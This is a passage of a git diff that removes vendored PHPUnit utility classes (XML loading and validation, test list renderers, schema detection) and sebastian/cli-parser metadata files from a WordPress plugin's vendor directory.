$testNode->setAttribute('className', get_class($test)); - $testNode->setAttribute('methodName', $test->getName()); - $testNode->setAttribute('prettifiedClassName', $this->prettifier->prettifyTestClass(get_class($test))); - $testNode->setAttribute('prettifiedMethodName', $this->prettifier->prettifyTestCase($test)); - $testNode->setAttribute('status', (string) $test->getStatus()); - $testNode->setAttribute('time', (string) $time); - $testNode->setAttribute('size', (string) $test->getSize()); - $testNode->setAttribute('groups', implode(',', $groups)); - - foreach ($groups as $group) { - $groupNode = $this->document->createElement('group'); - - $groupNode->setAttribute('name', $group); - - $testNode->appendChild($groupNode); - } - - $annotations = TestUtil::parseTestMethodAnnotations( - get_class($test), - $test->getName(false), - ); - - foreach (['class', 'method'] as $type) { - foreach ($annotations[$type] as $annotation => $values) { - if ($annotation !== 'covers' && $annotation !== 'uses') { - continue; - } - - foreach ($values as $value) { - $coversNode = $this->document->createElement($annotation); - - $coversNode->setAttribute('target', $value); - - $testNode->appendChild($coversNode); - } - } - } - - foreach ($test->doubledTypes() as $doubledType) { - $testDoubleNode = $this->document->createElement('testDouble'); - - $testDoubleNode->setAttribute('type', $doubledType); - - $testNode->appendChild($testDoubleNode); - } - - $inlineAnnotations = TestUtil::getInlineAnnotations(get_class($test), $test->getName(false)); - - if (isset($inlineAnnotations['given'], $inlineAnnotations['when'], $inlineAnnotations['then'])) { - $testNode->setAttribute('given', $inlineAnnotations['given']['value']); - $testNode->setAttribute('givenStartLine', (string) $inlineAnnotations['given']['line']); - $testNode->setAttribute('when', $inlineAnnotations['when']['value']); - $testNode->setAttribute('whenStartLine', (string) $inlineAnnotations['when']['line']); - $testNode->setAttribute('then', $inlineAnnotations['then']['value']); - $testNode->setAttribute('thenStartLine', (string) $inlineAnnotations['then']['line']); - } - - if ($this->exception !== null) { - if ($this->exception instanceof Exception) { - $steps = $this->exception->getSerializableTrace(); - } else { - $steps = $this->exception->getTrace(); - } - - try { - $file = (new ReflectionClass($test))->getFileName(); - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - foreach ($steps as $step) { - if (isset($step['file']) && $step['file'] === $file) { - $testNode->setAttribute('exceptionLine', (string) $step['line']); - - break; - } - } - - $testNode->setAttribute('exceptionMessage', $this->exception->getMessage()); - } - - $this->root->appendChild($testNode); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TextTestListRenderer.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TextTestListRenderer.php deleted file mode 100644 index c9f8af16..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TextTestListRenderer.php +++ /dev/null @@ -1,55 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util; - -use const PHP_EOL; -use function get_class; -use function sprintf; -use function str_replace; -use PHPUnit\Framework\TestCase; -use PHPUnit\Framework\TestSuite; -use PHPUnit\Runner\PhptTestCase; -use RecursiveIteratorIterator; -use SebastianBergmann\RecursionContext\InvalidArgumentException; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class TextTestListRenderer -{ - /** - * @throws InvalidArgumentException - */ - public function render(TestSuite $suite): string - { - $buffer = 'Available test(s):' . PHP_EOL; - - foreach (new RecursiveIteratorIterator($suite->getIterator()) as $test) { - if ($test instanceof TestCase) { - $name = sprintf( - '%s::%s', - get_class($test), - str_replace(' with data set ', '', $test->getName()), - ); - } elseif ($test instanceof PhptTestCase) { - $name = $test->getName(); - } else { - continue; - } - - $buffer .= sprintf( - ' - %s' . PHP_EOL, - $name, - ); - } - - return $buffer; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Type.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Type.php deleted file mode 100644 index ec6a1d78..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Type.php +++ /dev/null @@ -1,39 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Type -{ - public static function isType(string $type): bool - { - switch ($type) { - case 'numeric': - case 'integer': - case 'int': - case 'iterable': - case 'float': - case 'string': - case 'boolean': - case 'bool': - case 'null': - case 'array': - case 'object': - case 'resource': - case 'scalar': - return true; - - default: - return false; - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/VersionComparisonOperator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/VersionComparisonOperator.php deleted file mode 100644 index 57ca7c32..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/VersionComparisonOperator.php +++ /dev/null @@ -1,58 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util; - -use function in_array; -use function sprintf; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class VersionComparisonOperator -{ - /** - * @psalm-var '<'|'lt'|'<='|'le'|'>'|'gt'|'>='|'ge'|'=='|'='|'eq'|'!='|'<>'|'ne' - */ - private $operator; - - public function __construct(string $operator) - { - $this->ensureOperatorIsValid($operator); - - $this->operator = $operator; - } - - /** - * @return '!='|'<'|'<='|'<>'|'='|'=='|'>'|'>='|'eq'|'ge'|'gt'|'le'|'lt'|'ne' - */ - public function asString(): string - { - return $this->operator; - } - - /** - * @throws Exception - * - * @psalm-assert '<'|'lt'|'<='|'le'|'>'|'gt'|'>='|'ge'|'=='|'='|'eq'|'!='|'<>'|'ne' $operator - */ - private function ensureOperatorIsValid(string $operator): void - { - if (!in_array($operator, ['<', 'lt', '<=', 'le', '>', 'gt', '>=', 'ge', '==', '=', 'eq', '!=', '<>', 'ne'], true)) { - throw new Exception( - sprintf( - '"%s" is not a valid version_compare() operator', - $operator, - ), - ); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/XdebugFilterScriptGenerator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/XdebugFilterScriptGenerator.php deleted file mode 100644 index d6366eaa..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/XdebugFilterScriptGenerator.php +++ /dev/null @@ -1,81 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util; - -use const DIRECTORY_SEPARATOR; -use function addslashes; -use function array_map; -use function implode; -use function is_string; -use function realpath; -use function sprintf; -use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\CodeCoverage as FilterConfiguration; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @deprecated - */ -final class XdebugFilterScriptGenerator -{ - public function generate(FilterConfiguration $filter): string - { - $files = array_map( - static function ($item) - { - return sprintf( - " '%s'", - $item, - ); - }, - $this->getItems($filter), - ); - - $files = implode(",\n", $files); - - return <<directories() as $directory) { - $path = realpath($directory->path()); - - if (is_string($path)) { - $files[] = sprintf( - addslashes('%s' . DIRECTORY_SEPARATOR), - $path, - ); - } - } - - foreach ($filter->files() as $file) { - $files[] = $file->path(); - } - - return $files; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml.php deleted file mode 100644 index efdd56ef..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml.php +++ /dev/null @@ -1,193 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util; - -use const ENT_QUOTES; -use function assert; -use function class_exists; -use function htmlspecialchars; -use function mb_convert_encoding; -use function ord; -use function preg_replace; -use function settype; -use function strlen; -use DOMCharacterData; -use DOMDocument; -use DOMElement; -use DOMNode; -use DOMText; -use ReflectionClass; -use ReflectionException; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Xml -{ - /** - * @deprecated Only used by assertEqualXMLStructure() - */ - public static function import(DOMElement $element): DOMElement - { - return (new DOMDocument)->importNode($element, true); - } - - /** - * @deprecated Only used by assertEqualXMLStructure() - */ - public static function removeCharacterDataNodes(DOMNode $node): void - { - if ($node->hasChildNodes()) { - for ($i = $node->childNodes->length - 1; $i >= 0; $i--) { - if (($child = $node->childNodes->item($i)) instanceof DOMCharacterData) { - $node->removeChild($child); - } - } - } - } - - /** - * Escapes a string for the use in XML documents. - * - * Any Unicode character is allowed, excluding the surrogate blocks, FFFE, - * and FFFF (not even as character reference). - * - * @see https://www.w3.org/TR/xml/#charsets - */ - public static function prepareString(string $string): string - { - return preg_replace( - '/[\\x00-\\x08\\x0b\\x0c\\x0e-\\x1f\\x7f]/', - '', - htmlspecialchars( - self::convertToUtf8($string), - ENT_QUOTES, - ), - ); - } - - /** - * "Convert" a DOMElement object into a PHP variable. - */ - public static function xmlToVariable(DOMElement $element) - { - $variable = null; - - switch ($element->tagName) { - case 'array': - $variable = []; - - foreach ($element->childNodes as $entry) { - if (!$entry instanceof DOMElement || $entry->tagName !== 'element') { - continue; - } - $item = $entry->childNodes->item(0); - - if ($item instanceof DOMText) { - $item = $entry->childNodes->item(1); - } - - $value = self::xmlToVariable($item); - - if ($entry->hasAttribute('key')) { - $variable[(string) $entry->getAttribute('key')] = $value; - } else { - $variable[] = $value; - } - } - - break; - - case 'object': - $className = $element->getAttribute('class'); - - if ($element->hasChildNodes()) { - $arguments = $element->childNodes->item(0)->childNodes; - $constructorArgs = []; - - foreach ($arguments as $argument) { - if ($argument instanceof DOMElement) { - $constructorArgs[] = self::xmlToVariable($argument); - } - } - - try { - assert(class_exists($className)); - - $variable = (new ReflectionClass($className))->newInstanceArgs($constructorArgs); - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - } else { - $variable = new $className; - } - - break; - - case 'boolean': - $variable = $element->textContent === 'true'; - - break; - - case 'integer': - case 'double': - case 'string': - $variable = $element->textContent; - - settype($variable, $element->tagName); - - break; - } - - return $variable; - } - - private static function convertToUtf8(string $string): string - { - if (!self::isUtf8($string)) { - $string = mb_convert_encoding($string, 'UTF-8'); - } - - return $string; - } - - private static function isUtf8(string $string): bool - { - $length = strlen($string); - - for ($i = 0; $i < $length; $i++) { - if (ord($string[$i]) < 0x80) { - $n = 0; - } elseif ((ord($string[$i]) & 0xE0) === 0xC0) { - $n = 1; - } elseif ((ord($string[$i]) & 0xF0) === 0xE0) { - $n = 2; - } elseif ((ord($string[$i]) & 0xF0) === 0xF0) { - $n = 3; - } else { - return false; - } - - for ($j = 0; $j < $n; $j++) { - if ((++$i === $length) || ((ord($string[$i]) & 0xC0) !== 0x80)) { - return false; - } - } - } - - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/Exception.php deleted file mode 100644 index 09b73d8f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/Exception.php +++ /dev/null @@ -1,19 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util\Xml; - -use RuntimeException; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Exception extends RuntimeException implements \PHPUnit\Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/FailedSchemaDetectionResult.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/FailedSchemaDetectionResult.php deleted file mode 100644 index 0949f568..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/FailedSchemaDetectionResult.php +++ /dev/null @@ -1,19 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util\Xml; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class FailedSchemaDetectionResult extends SchemaDetectionResult -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/Loader.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/Loader.php deleted file mode 100644 index 2ba5ace3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/Loader.php +++ /dev/null @@ -1,117 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util\Xml; - -use function chdir; -use function dirname; -use function error_reporting; -use function file_get_contents; -use function getcwd; -use function libxml_get_errors; -use function libxml_use_internal_errors; -use function sprintf; -use DOMDocument; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Loader -{ - /** - * @throws Exception - */ - public function loadFile(string $filename, bool $isHtml = false, bool $xinclude = false, bool $strict = false): DOMDocument - { - $reporting = error_reporting(0); - $contents = file_get_contents($filename); - - error_reporting($reporting); - - if ($contents === false) { - throw new Exception( - sprintf( - 'Could not read "%s".', - $filename, - ), - ); - } - - return $this->load($contents, $isHtml, $filename, $xinclude, $strict); - } - - /** - * @throws Exception - */ - public function load(string $actual, bool $isHtml = false, string $filename = '', bool $xinclude = false, bool $strict = false): DOMDocument - { - if ($actual === '') { - throw new Exception('Could not load XML from empty string'); - } - - // Required for XInclude on Windows. - if ($xinclude) { - $cwd = getcwd(); - @chdir(dirname($filename)); - } - - $document = new DOMDocument; - $document->preserveWhiteSpace = false; - - $internal = libxml_use_internal_errors(true); - $message = ''; - $reporting = error_reporting(0); - - if ($filename !== '') { - // Required for XInclude - $document->documentURI = $filename; - } - - if ($isHtml) { - $loaded = $document->loadHTML($actual); - } else { - $loaded = $document->loadXML($actual); - } - - if (!$isHtml && $xinclude) { - $document->xinclude(); - } - - foreach (libxml_get_errors() as $error) { - $message .= "\n" . $error->message; - } - - libxml_use_internal_errors($internal); - error_reporting($reporting); - - if (isset($cwd)) { - @chdir($cwd); - } - - if ($loaded === false || ($strict && $message !== '')) { - if ($filename !== '') { - throw new Exception( - sprintf( - 'Could not load "%s".%s', - $filename, - $message !== '' ? "\n" . $message : '', - ), - ); - } - - if ($message === '') { - $message = 'Could not load XML for unknown reason'; - } - - throw new Exception($message); - } - - return $document; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/SchemaDetectionResult.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/SchemaDetectionResult.php deleted file mode 100644 index 3ae45723..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/SchemaDetectionResult.php +++ /dev/null @@ -1,34 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util\Xml; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -abstract class SchemaDetectionResult -{ - /** - * @psalm-assert-if-true SuccessfulSchemaDetectionResult $this - */ - public function detected(): bool - { - return false; - } - - /** - * @throws Exception - */ - public function version(): string - { - throw new Exception('No supported schema was detected'); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/SchemaDetector.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/SchemaDetector.php deleted file mode 100644 index 1877a9a1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/SchemaDetector.php +++ /dev/null @@ -1,41 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util\Xml; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class SchemaDetector -{ - /** - * @throws Exception - */ - public function detect(string $filename): SchemaDetectionResult - { - $document = (new Loader)->loadFile( - $filename, - false, - true, - true, - ); - - $schemaFinder = new SchemaFinder; - - foreach ($schemaFinder->available() as $candidate) { - $schema = (new SchemaFinder)->find($candidate); - - if (!(new Validator)->validate($document, $schema)->hasValidationErrors()) { - return new SuccessfulSchemaDetectionResult($candidate); - } - } - - return new FailedSchemaDetectionResult; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/SchemaFinder.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/SchemaFinder.php deleted file mode 100644 index eb5f4f15..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/SchemaFinder.php +++ /dev/null @@ -1,80 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util\Xml; - -use function assert; -use function defined; -use function is_file; -use function rsort; -use function sprintf; -use DirectoryIterator; -use PHPUnit\Runner\Version; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class SchemaFinder -{ - /** - * @psalm-return non-empty-list - */ - public function available(): array - { - $result = [Version::series()]; - - foreach ((new DirectoryIterator($this->path() . 'schema')) as $file) { - if ($file->isDot()) { - continue; - } - - $version = $file->getBasename('.xsd'); - - assert(!empty($version)); - - $result[] = $version; - } - - rsort($result); - - return $result; - } - - /** - * @throws Exception - */ - public function find(string $version): string - { - if ($version === Version::series()) { - $filename = $this->path() . 'phpunit.xsd'; - } else { - $filename = $this->path() . 'schema/' . $version . '.xsd'; - } - - if (!is_file($filename)) { - throw new Exception( - sprintf( - 'Schema for PHPUnit %s is not available', - $version, - ), - ); - } - - return $filename; - } - - private function path(): string - { - if (defined('__PHPUNIT_PHAR_ROOT__')) { - return __PHPUNIT_PHAR_ROOT__ . '/'; - } - - return __DIR__ . '/../../../'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/SnapshotNodeList.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/SnapshotNodeList.php deleted file mode 100644 index e383678d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/SnapshotNodeList.php +++ /dev/null @@ -1,51 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util\Xml; - -use function count; -use ArrayIterator; -use Countable; -use DOMNode; -use DOMNodeList; -use IteratorAggregate; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @template-implements IteratorAggregate - */ -final class SnapshotNodeList implements Countable, IteratorAggregate -{ - /** - * @var DOMNode[] - */ - private $nodes = []; - - public static function fromNodeList(DOMNodeList $list): self - { - $snapshot = new self; - - foreach ($list as $node) { - $snapshot->nodes[] = $node; - } - - return $snapshot; - } - - public function count(): int - { - return count($this->nodes); - } - - public function getIterator(): ArrayIterator - { - return new ArrayIterator($this->nodes); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/SuccessfulSchemaDetectionResult.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/SuccessfulSchemaDetectionResult.php deleted file mode 100644 index 77202c35..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/SuccessfulSchemaDetectionResult.php +++ /dev/null @@ -1,47 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util\Xml; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class SuccessfulSchemaDetectionResult extends SchemaDetectionResult -{ - /** - * @psalm-var non-empty-string - */ - private $version; - - /** - * @psalm-param non-empty-string $version - */ - public function __construct(string $version) - { - $this->version = $version; - } - - /** - * @psalm-assert-if-true SuccessfulSchemaDetectionResult $this - */ - public function detected(): bool - { - return true; - } - - /** - * @psalm-return non-empty-string - */ - public function version(): string - { - return $this->version; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/ValidationResult.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/ValidationResult.php deleted file mode 100644 index a44b309c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/ValidationResult.php +++ /dev/null @@ -1,70 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util\Xml; - -use const PHP_EOL; -use function sprintf; -use function trim; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @psalm-immutable - */ -final class ValidationResult -{ - /** - * @psalm-var array> - */ - private $validationErrors = []; - - /** - * @psalm-param array $errors - */ - public static function fromArray(array $errors): self - { - $validationErrors = []; - - foreach ($errors as $error) { - if (!isset($validationErrors[$error->line])) { - $validationErrors[$error->line] = []; - } - - $validationErrors[$error->line][] = trim($error->message); - } - - return new self($validationErrors); - } - - private function __construct(array $validationErrors) - { - $this->validationErrors = $validationErrors; - } - - public function hasValidationErrors(): bool - { - return !empty($this->validationErrors); - } - - public function asString(): string - { - $buffer = ''; - - foreach ($this->validationErrors as $line => $validationErrorsOnLine) { - $buffer .= sprintf(PHP_EOL . ' Line %d:' . PHP_EOL, $line); - - foreach ($validationErrorsOnLine as $validationError) { - $buffer .= sprintf(' - %s' . PHP_EOL, $validationError); - } - } - - return $buffer; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/Validator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/Validator.php deleted file mode 100644 index b3c4e05b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Xml/Validator.php +++ /dev/null @@ -1,35 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util\Xml; - -use function file_get_contents; -use function libxml_clear_errors; -use function libxml_get_errors; -use function libxml_use_internal_errors; -use DOMDocument; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Validator -{ - public function validate(DOMDocument $document, string $xsdFilename): ValidationResult - { - $originalErrorHandling = libxml_use_internal_errors(true); - - $document->schemaValidateSource(file_get_contents($xsdFilename)); - - $errors = libxml_get_errors(); - libxml_clear_errors(); - libxml_use_internal_errors($originalErrorHandling); - - return ValidationResult::fromArray($errors); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/XmlTestListRenderer.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/XmlTestListRenderer.php deleted file mode 100644 index 2ed6559f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/XmlTestListRenderer.php +++ /dev/null @@ -1,92 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util; - -use function get_class; -use function implode; -use function str_replace; -use PHPUnit\Framework\TestCase; -use PHPUnit\Framework\TestSuite; -use PHPUnit\Runner\PhptTestCase; -use RecursiveIteratorIterator; -use SebastianBergmann\RecursionContext\InvalidArgumentException; -use XMLWriter; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class XmlTestListRenderer -{ - /** - * @throws InvalidArgumentException - */ - public function render(TestSuite $suite): string - { - $writer = new XMLWriter; - - $writer->openMemory(); - $writer->setIndent(true); - $writer->startDocument('1.0', 'UTF-8'); - $writer->startElement('tests'); - - $currentTestCase = null; - - foreach (new RecursiveIteratorIterator($suite->getIterator()) as $test) { - if ($test instanceof TestCase) { - if (get_class($test) !== $currentTestCase) { - if ($currentTestCase !== null) { - $writer->endElement(); - } - - $writer->startElement('testCaseClass'); - $writer->writeAttribute('name', get_class($test)); - - $currentTestCase = get_class($test); - } - - $writer->startElement('testCaseMethod'); - $writer->writeAttribute('name', $test->getName(false)); - $writer->writeAttribute('groups', implode(',', $test->getGroups())); - - if (!empty($test->getDataSetAsString(false))) { - $writer->writeAttribute( - 'dataSet', - str_replace( - ' with data set ', - '', - $test->getDataSetAsString(false), - ), - ); - } - - $writer->endElement(); - } elseif ($test instanceof PhptTestCase) { - if ($currentTestCase !== null) { - $writer->endElement(); - - $currentTestCase = null; - } - - $writer->startElement('phptFile'); - $writer->writeAttribute('path', $test->getName()); - $writer->endElement(); - } - } - - if ($currentTestCase !== null) { - $writer->endElement(); - } - - $writer->endElement(); - $writer->endDocument(); - - return $writer->outputMemory(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/ChangeLog.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/ChangeLog.md deleted file mode 100644 index 9ecd241d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/ChangeLog.md +++ /dev/null @@ -1,23 +0,0 @@ -# ChangeLog - -All notable changes are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. - -## [1.0.2] - 2024-03-02 - -### Changed - -* Do not use implicitly nullable parameters - -## [1.0.1] - 2020-09-28 - -### Changed - -* Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` - -## [1.0.0] - 2020-08-12 - -* Initial release - -[1.0.2]: https://github.com/sebastianbergmann/cli-parser/compare/1.0.1...1.0.2 -[1.0.1]: https://github.com/sebastianbergmann/cli-parser/compare/1.0.0...1.0.1 -[1.0.0]: https://github.com/sebastianbergmann/cli-parser/compare/bb7bb3297957927962b0a3335befe7b66f7462e9...1.0.0 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/LICENSE deleted file mode 100644 index 0e33c059..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/LICENSE +++ /dev/null @@ -1,33 +0,0 @@ -sebastian/cli-parser - -Copyright (c) 2020, Sebastian Bergmann . -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions -are met: - - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in - the documentation and/or other materials provided with the - distribution. - - * Neither the name of Sebastian Bergmann nor the names of his - contributors may be used to endorse or promote products derived - from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS -FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE -COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, -BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN -ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/README.md deleted file mode 100644 index 39c17a72..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/cli-parser/README.md +++ /dev/null @@ -1,17 +0,0 @@ -# sebastian/cli-parser - -Library for parsing `$_SERVER['argv']`, extracted 